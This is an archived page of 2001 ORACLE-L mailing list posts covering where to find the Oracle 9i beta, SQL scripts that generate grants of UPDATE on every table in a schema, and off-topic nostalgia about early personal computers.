Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Cale, Rick T (Richard)
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



Re: Oracle Beta

2001-08-02 Thread Rahul Dandekar

What is it? I mean the URL to 9i Beta for Windows.
No Sun of Mine (no test sun machine available right now..)

-Rahul
- Original Message - 
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Sent: Thursday, August 02, 2001 12:16 PM


 Yes I am replying to my own email, nevermind, I found it:)
 KK
 
 -Original Message-
 Kostyszyn
 Sent: Thursday, August 02, 2001 11:11 AM
 To: Multiple recipients of list ORACLE-L
 
 
 Hi all,
 Does anyone know the URL for the Oracle 9i Beta program.  I need to
 download the NT version of 9i.
 Thanks in advance:)
 
 Sincerely,
 Kevin Kostyszyn
 DBA
 Dulcian, Inc
 www.dulcian.com
 [EMAIL PROTECTED]
 
 --
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 --
 Author: Kevin Kostyszyn
   INET: [EMAIL PROTECTED]
 
 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).
 --
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 --
 Author: Kevin Kostyszyn
   INET: [EMAIL PROTECTED]
 
 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).
 
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Rahul Dandekar
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



Re: Oracle Beta

2001-08-02 Thread Igor Neyman

Could you please share, what you found?

Igor Neyman, OCP DBA
Perceptron, Inc.
(734)414-4627
[EMAIL PROTECTED]
  

- Original Message - 
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Sent: Thursday, August 02, 2001 12:16 PM


 Yes I am replying to my own email, nevermind, I found it:)
 KK
 
 -Original Message-
 Kostyszyn
 Sent: Thursday, August 02, 2001 11:11 AM
 To: Multiple recipients of list ORACLE-L
 
 
 Hi all,
 Does anyone know the URL for the Oracle 9i Beta program.  I need to
 download the NT version of 9i.
 Thanks in advance:)
 
 Sincerely,
 Kevin Kostyszyn
 DBA
 Dulcian, Inc
 www.dulcian.com
 [EMAIL PROTECTED]
 
 -- 
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 -- 
 Author: Kevin Kostyszyn
   INET: [EMAIL PROTECTED]
 
 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).
 -- 
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 -- 
 Author: Kevin Kostyszyn
   INET: [EMAIL PROTECTED]
 
 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Igor Neyman
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



Re: grants to schema query

2001-08-02 Thread Rachel Carmichael

grant to each object ... but you can sorta kinda wildcard it as follows:

select 'grant update on '||owner|'.'||object_name||' to user;'
from dba_objects where owner='ownername' and
object_type in ('TABLE','VIEW','SEQUENCE',);

spool to a file, then run the file as either the object owner, or as someone 
who has been granted update with admin


From: O'Neill, Sean [EMAIL PROTECTED]
Reply-To: [EMAIL PROTECTED]
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Subject: grants to schema query
Date: Thu, 02 Aug 2001 07:01:15 -0800

Hope there is not an obvious answer to this. I want to grant UPDATE 
priv
to all objects in a schema to a user.  Do I need to grant to each object or
can I somehow wildcard all the objects?.  What are my option(s)?.  I'd
appreciate example grant statements!


Sean :)

Rookie Data Base Administrator
Oracle 7.3.3, 8.0.5, 8.1.7 - NT, W2K
[0%] OCP Oracle8i DBA
[0%] OCP Oracle9i DBA
 
Organon (Ireland) Ltd.
E-mail: [EMAIL PROTECTED]   [subscribed: Digest Mode]

Visit: http://groups.yahoo.com/group/Oracle-OCP-DBA

Nobody loves me but my mother... and she could be jivin' too.  - BB King




--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: O'Neill, Sean
   INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).


_
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Rachel Carmichael
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Vergara, Michael (TEM)

Hmmm...I had one of those old Compaq's, too.  I was a consultant at the
time, and my partner had an Osborne.  We'd be going from San Diego to
Savannah via DFW, and we'd have to strap those two monsters to a set
of luggage wheels and haul a** through the airport to make the connection.

You could have fun with that, y'know.  You could gut it and install a
SBC (Single-board computer) card into the backplane with a 40G disk and
you'd have a nice modern machine - well except for the monitor.  But
I can imagine bringing that into a roomfull of laptops and watching
their users smirk until I fired it up and the lights dimmed...

---
===
Michael P. Vergara  | Don't worry about the world ending today;
Oracle DBA  | it's already tomorrow in Australia.
Guidant Corporation |  - Charles Schulz


-Original Message-
Sent: Thursday, August 02, 2001 9:42 AM
To: Multiple recipients of list ORACLE-L


yeah, my father still try's to impress me with stories of punch cards and
such.  It's pretty funny.  The oldest computer I know of and still have is a
compaq portable computer.  It has the old 5 1/4 floppy drives and a
little tiny screen.  It's basically a suitcase, weighs about 40 pounds, the
bottom is the keyboard.  Kinda cool, I remember playing games on it as a kid
and thinking it was the most amazing thing.  Now it makes a good foot rest,
but that's about it:)
kk

-Original Message-
Sent: Thursday, August 02, 2001 10:52 AM
To: Multiple recipients of list ORACLE-L


And just think about the PC being an advanced system for some of us.

Wait until we again start talking about using paper tapes and having to use
scotch tape to put them back together to run them through.  Or even the
older guys that talk about switch boards.  I am not as old as them.  My
computer days just go back to the mid 70's.


 I love this stuff(being a nerd wannabe), but I don't have a
 frickin clue
 what any of you are talking about:)
--
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Vergara, Michael (TEM)
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT

2001-08-02 Thread Arich Henneman

The cartridge that came with the 2600 was COMBAT.  It had a tank game
and a biplane game.  If they added another cartridge, it must have been
in the later years.  And the whole package cost $150

1) Who started Atari, what else did he start?
2) What Graphical computer preceeded the Mac?

CP/M Control Program for Microcomputers - It was the first big OS.
2.5 What was the first Big Time Word processor that eventually lost out
to Word?

3) What company made the first Portable (luggable) computers?

The first MAC (128K, 400K floppy) had no handle, I had one(still have
it)
4) What was Special about the inside of the Mac case?
5) Who wrote QDOS?

sigh, I agree, the good ol' daze




 [EMAIL PROTECTED] 08/02/01 06:57AM 
On Thu, 2 Aug 2001,Boivin, Patrice J scribbled on the wall in glitter
crayon:

-Was CP/M the OS that Bill Gates bought just before making his big
deal with
-IBM?  Can't remember.
-
-Regards,
-Patrice Boivin
-Systems Analyst (Oracle Certified DBA)
-
-  -Original Message-
-  CP/M [or is it CPM i've seen it written both ways.]
-
-
AFAIK, no.  it was an OS from a small local company called QDOS [Quick
and
Dirty Operating System] if i'm not suffering from too much bit rot.

CP/M was the other OS in contention.

--
Bill Thater ORACLE DBA
Telergy,Inc.   [EMAIL PROTECTED] 

It's got to come from the heart if you want it to work!

IBM: Into Building Money

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com 
-- 
Author: Thater, William
  INET: [EMAIL PROTECTED] 

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Arich Henneman
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: Oracle Beta

2001-08-02 Thread Kevin Kostyszyn

We some how got on, I am in the process of downloading it now, I was just
having a very difficult time finding it:)
BTW, I love that sig!!
KK

-Original Message-
Spence
Sent: Thursday, August 02, 2001 12:26 PM
To: Multiple recipients of list ORACLE-L


It is fairly difficult to get on the beta team from what I understand, it is
too late at this point.

Do not criticize someone until you walked a mile in their shoes, that way
when you criticize them, you are a mile a way and have their shoes.

Christopher R. Spence  OCP  MCSE MCP A+ RAPTOR CNA
Oracle DBA
Phone: (978) 322-5744
Fax:(707) 885-2275

Fuelspot
73 Princeton Street
North, Chelmsford 01863




-Original Message-
Sent: Thursday, August 02, 2001 11:11 AM
To: Multiple recipients of list ORACLE-L


Hi all,
Does anyone know the URL for the Oracle 9i Beta program.  I need to
download the NT version of 9i. Thanks in advance:)

Sincerely,
Kevin Kostyszyn
DBA
Dulcian, Inc
www.dulcian.com
[EMAIL PROTECTED]

--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Kevin Kostyszyn
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the
message BODY, include a line containing: UNSUB ORACLE-L (or the name of
mailing list you want to be removed from).  You may also send the HELP
command for other information (like subscribing).
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Christopher Spence
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Kevin Kostyszyn
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



Re: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Rachel Carmichael

Ah, but lack of knowledge seems to indicate that you have been worshipping a 
false god(dess).

so I will leave before being found out and suitably punished  :)



From: Scott Shafer [EMAIL PROTECTED]
Reply-To: [EMAIL PROTECTED]
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Subject: Re: OT -- suggestions to ensure nerdiness in potential IT staff
Date: Thu, 02 Aug 2001 09:01:05 -0800

The Cult of the Goddess does not take divine abandonment lightly...

--Scott Shafer, High Priest
   San Antonio, TX


Rachel Carmichael wrote:
 
  that settles it, I'm quietly packing up my desk and leaving the list. I
  don't belong here. I vaguely remember working with some of this stuff 
but
  not all.
 
  I either:
 
  1)never had a memory for anything
  2)was sleepwalking through most of my life
  3)am not and was not a nerd
  4)all of the above
 
  I think I'll lurk for awhile

_
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com

--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Scott Shafer
   INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).


_
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Rachel Carmichael
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Rachel Carmichael

Okay, who remembers Fractured Fairy Tales and the Professor and his boy 
Sherman?


From: Farnsworth, Dave [EMAIL PROTECTED]
Reply-To: [EMAIL PROTECTED]
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff
Date: Thu, 02 Aug 2001 08:41:38 -0800

And the question (still yet to be properly answered) is How many licks 
does
it take to get to the center of a Tootsie Pop?

Very nice!!  I saw that all the time on my Saturdays watching Rocky and
Bullwinkel, Tom and Jerry and my favorite, Bugs Bunny!!

Dave

-Original Message-
Sent: Thursday, August 02, 2001 10:27 AM
To: Multiple recipients of list ORACLE-L


And the question (still yet to be properly answered) is How many licks 
does
it take to get to the center of a Tootsie Pop?

  I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3.
 
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Page, Bruce
   INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Farnsworth, Dave
   INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).


_
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Rachel Carmichael
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: grants to schema query

2001-08-02 Thread Kevin Lange

Try 
1. creating a role for the updates.
2. running a query against the dba_tables table that will generate all the
grants neeeded to the role.
3. Spool that query to a file.
4. Run the resultant file as the schema that owns the tables you want access
granted on.

For example:

-- Log in as your friendly DBA and  create the update role called upd_role.


connect dbaid/password@database

Create role upd_role;

-- Grant the role to the user who needs the privledges

grant upd_role to USER1;

--  This will generate a script called C:\grant.sql that contains all
statements neccessary to grant update privledges on the tables belonging to
'SCHEMA1' to the Update Role, upd_role.

Spool C:\grant.sql;
select 'grant update on '||owner||'.'||table_name||' to upd_role;'
from dba_tables
where owner = 'SCHEMA1';
Spool off;

-- connect to SCHEMA1 and run the script

connect schema1/password@database

@c:\grant.sql


You could also bypass the use of a role and grant directly to the user.
But, if you use a role you can give the authorities to any user without
having to regenerate the script.


REMEMBER...  If you add new objects to SCHEMA1 you need to grant them as
well.  This will not automatically get all objects for now until the
database dies.



-Original Message-
Sent: Thursday, August 02, 2001 10:01 AM
To: Multiple recipients of list ORACLE-L


Hope there is not an obvious answer to this. I want to grant UPDATE priv
to all objects in a schema to a user.  Do I need to grant to each object or
can I somehow wildcard all the objects?.  What are my option(s)?.  I'd
appreciate example grant statements!


Sean :)

Rookie Data Base Administrator
Oracle 7.3.3, 8.0.5, 8.1.7 - NT, W2K
[0%] OCP Oracle8i DBA
[0%] OCP Oracle9i DBA
  
Organon (Ireland) Ltd.
E-mail: [EMAIL PROTECTED]   [subscribed: Digest Mode]

Visit: http://groups.yahoo.com/group/Oracle-OCP-DBA

Nobody loves me but my mother... and she could be jivin' too.  - BB King



 
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: O'Neill, Sean
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Kevin Lange
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Norwood Bradly A

It was a magical box to a middle-aged me as well and looked much better than
my ugly metallic Kaypro.

-Original Message-
Sent: Thursday, August 02, 2001 11:42 AM
To: Multiple recipients of list ORACLE-L


yeah, my father still try's to impress me with stories of punch cards and
such.  It's pretty funny.  The oldest computer I know of and still have is a
compaq portable computer.  It has the old 5 1/4 floppy drives and a
little tiny screen.  It's basically a suitcase, weighs about 40 pounds, the
bottom is the keyboard.  Kinda cool, I remember playing games on it as a kid
and thinking it was the most amazing thing.  Now it makes a good foot rest,
but that's about it:)
kk

-Original Message-
Sent: Thursday, August 02, 2001 10:52 AM
To: Multiple recipients of list ORACLE-L


And just think about the PC being an advanced system for some of us.

Wait until we again start talking about using paper tapes and having to use
scotch tape to put them back together to run them through.  Or even the
older guys that talk about switch boards.  I am not as old as them.  My
computer days just go back to the mid 70's.


 I love this stuff(being a nerd wannabe), but I don't have a
 frickin clue
 what any of you are talking about:)
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Page, Bruce
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Kevin Kostyszyn
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Norwood Bradly A
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT about to peeve off the vegatarians: RE: OT RE: Largest

2001-08-02 Thread Cherie_Machler


Jaques,

I know that Orange County is an entity in it's own right but for
people in other parts of the U.S. and the world, Los Angeles
is much more of a land mark than Orange County.   That's
why I said sort of a suburb.

Cherie
waiting for others from Orange County to start talking
about how distinct from L.A. and identifiable it is


   

Jacques Kilchoer   

Jacques.Kilchoer@To: Multiple recipients of list 
ORACLE-L [EMAIL PROTECTED]  
quest.comcc:  

Sent by:  Subject: RE: OT about to peeve off 
the vegatarians: RE: OT RE:   
[EMAIL PROTECTED]  Largest  

   

   

08/01/01 05:07 PM  

Please respond to  

ORACLE-L   

   

   





 -Original Message-
 From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]

 When I worked at Rockwell in Anaheim (Southern California - sort of a
 suburb of Los Angeles),
 I used to drive right past a strawberry field every night on
 my way home
 from work.  ...

 It was strange to find a strawberry field in the middle of
 the city.   That
 was fifteen years ago.
 I'm not sure if it's still there - what with the high price
 of real estate in that area.


Suburb of LA? Orange County, California, USA is more than an appendage of
our large neighbour to the north! (splashing cold water on my face to
quench the steam escaping from my nostrils)


There are still strawberry fields in Orange County, as a matter of fact
there's one less than 2 miles from my house. Of course, it's a little
disconcerting in this part of the world to walk three blocks from a
20-story building (which, in parentheses, hosts the local Oracle sales
office) and see a large agricultural field.







-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: 
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Seley, Linda

One of those Compaqs was the first portable I took home from work 7 years
ago!  It sat in my basement until 3 years ago when I lugged it back - we
were moving and I didn't want to be responsible for it any more!  (Gosh, a
1200k modem?)

Same company that is *still* using PL/1 as it's mainframe programming
language and APL in the actuarial department.

Linda

-Original Message-
Sent: Thursday, August 02, 2001 10:42 AM
To: Multiple recipients of list ORACLE-L


yeah, my father still try's to impress me with stories of punch cards and
such.  It's pretty funny.  The oldest computer I know of and still have is a
compaq portable computer.  It has the old 5 1/4 floppy drives and a
little tiny screen.  It's basically a suitcase, weighs about 40 pounds, the
bottom is the keyboard.  Kinda cool, I remember playing games on it as a kid
and thinking it was the most amazing thing.  Now it makes a good foot rest,
but that's about it:)
kk

-Original Message-
Sent: Thursday, August 02, 2001 10:52 AM
To: Multiple recipients of list ORACLE-L


And just think about the PC being an advanced system for some of us.

Wait until we again start talking about using paper tapes and having to use
scotch tape to put them back together to run them through.  Or even the
older guys that talk about switch boards.  I am not as old as them.  My
computer days just go back to the mid 70's.


 I love this stuff(being a nerd wannabe), but I don't have a
 frickin clue
 what any of you are talking about:)
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Page, Bruce
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Kevin Kostyszyn
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Seley, Linda
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Rachel Carmichael

young whippersnapper!  quiet down and let us old fogies reminisce :)


From: Kevin Kostyszyn [EMAIL PROTECTED]
Reply-To: [EMAIL PROTECTED]
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff
Date: Thu, 02 Aug 2001 08:41:39 -0800

yeah, my father still try's to impress me with stories of punch cards and
such.  It's pretty funny.  The oldest computer I know of and still have is 
a
compaq portable computer.  It has the old 5 1/4 floppy drives and a
little tiny screen.  It's basically a suitcase, weighs about 40 pounds, the
bottom is the keyboard.  Kinda cool, I remember playing games on it as a 
kid
and thinking it was the most amazing thing.  Now it makes a good foot rest,
but that's about it:)
kk

-Original Message-
Sent: Thursday, August 02, 2001 10:52 AM
To: Multiple recipients of list ORACLE-L


And just think about the PC being an advanced system for some of us.

Wait until we again start talking about using paper tapes and having to use
scotch tape to put them back together to run them through.  Or even the
older guys that talk about switch boards.  I am not as old as them.  My
computer days just go back to the mid 70's.


  I love this stuff(being a nerd wannabe), but I don't have a
  frickin clue
  what any of you are talking about:)
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Page, Bruce
   INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).

--
